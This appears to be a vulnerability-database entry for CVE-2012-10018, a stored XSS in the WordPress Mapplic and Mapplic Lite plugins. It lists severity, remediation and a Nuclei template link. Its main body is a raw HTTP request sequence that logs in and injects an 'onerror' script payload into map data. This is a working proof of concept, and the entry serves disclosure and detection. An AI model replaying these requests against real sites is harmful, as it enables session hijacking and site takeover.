| Title | WordPress Mapplic <= 6.1 / Mapplic Lite <= 1.0 - Authenticated Stored XSS via SVG File Upload |
|---|---|
| Author | KrE80r |
| Severity | High |
| Impact | An attacker with author-level access can inject URLs pointing to malicious SVG files containing JavaScript payloads. When any user views the map, the browser loads the SVG and executes the embedded scripts, potentially leading to session hijacking, privilege escalation, or complete site compromise. |
| Remediation | Update Mapplic to version 7.0 or later, and Mapplic Lite to version 1.0.1 or later. |
| CVSS Score | 8.3 |
| EPSS Score | 0.0305 |
| CVE ID | CVE-2012-10018 |
| CWE ID | CWE-79 |
| Tags | cve cve2012 wordpress wp-plugin xss mapplic vkev authenticated |
The Mapplic and Mapplic Lite plugins for WordPress are vulnerable to Stored Cross-Site Scripting via arbitrary URL injection in versions up to and including 6.1 and 1.0 respectively. Authenticated users with author-level permissions can inject arbitrary remote URLs for SVG map files. When a user views the map (admin panel or frontend page with shortcode), the browser fetches the SVG via jQuery .load() and inserts it into the DOM. If the SVG contains embedded JavaScript, it executes as XSS.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Accept-Encoding: gzip
log=c2JvAp&pwd=2L2btN&wp-submit=Log+In&testcookie=1
GET /wp-admin/post-new.php?post_type=mapplic_map HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Connection: close
Accept-Encoding: gzip
POST /wp-admin/post.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Content-Length: 324
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_wpnonce=w9xSfY&post_ID=PWTZR8&post_title=Test&mapplic-mapdata=%7B%22mapwidth%22%3A%22100%22%2C%22mapheight%22%3A%22100%22%2C%22levels%22%3A%5B%7B%22id%22%3A%22test%22%2C%22title%22%3A%22%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E%22%2C%22map%22%3A%22test.svg%22%7D%5D%7D&action=editpost&post_type=mapplic_map
GET /wp-admin/post.php?post=PWTZR8&action=edit HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.19
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-10018.yaml
🦈 Packet Capture: ⬇️ Download cve-2012-10018.pcap
N/AN/A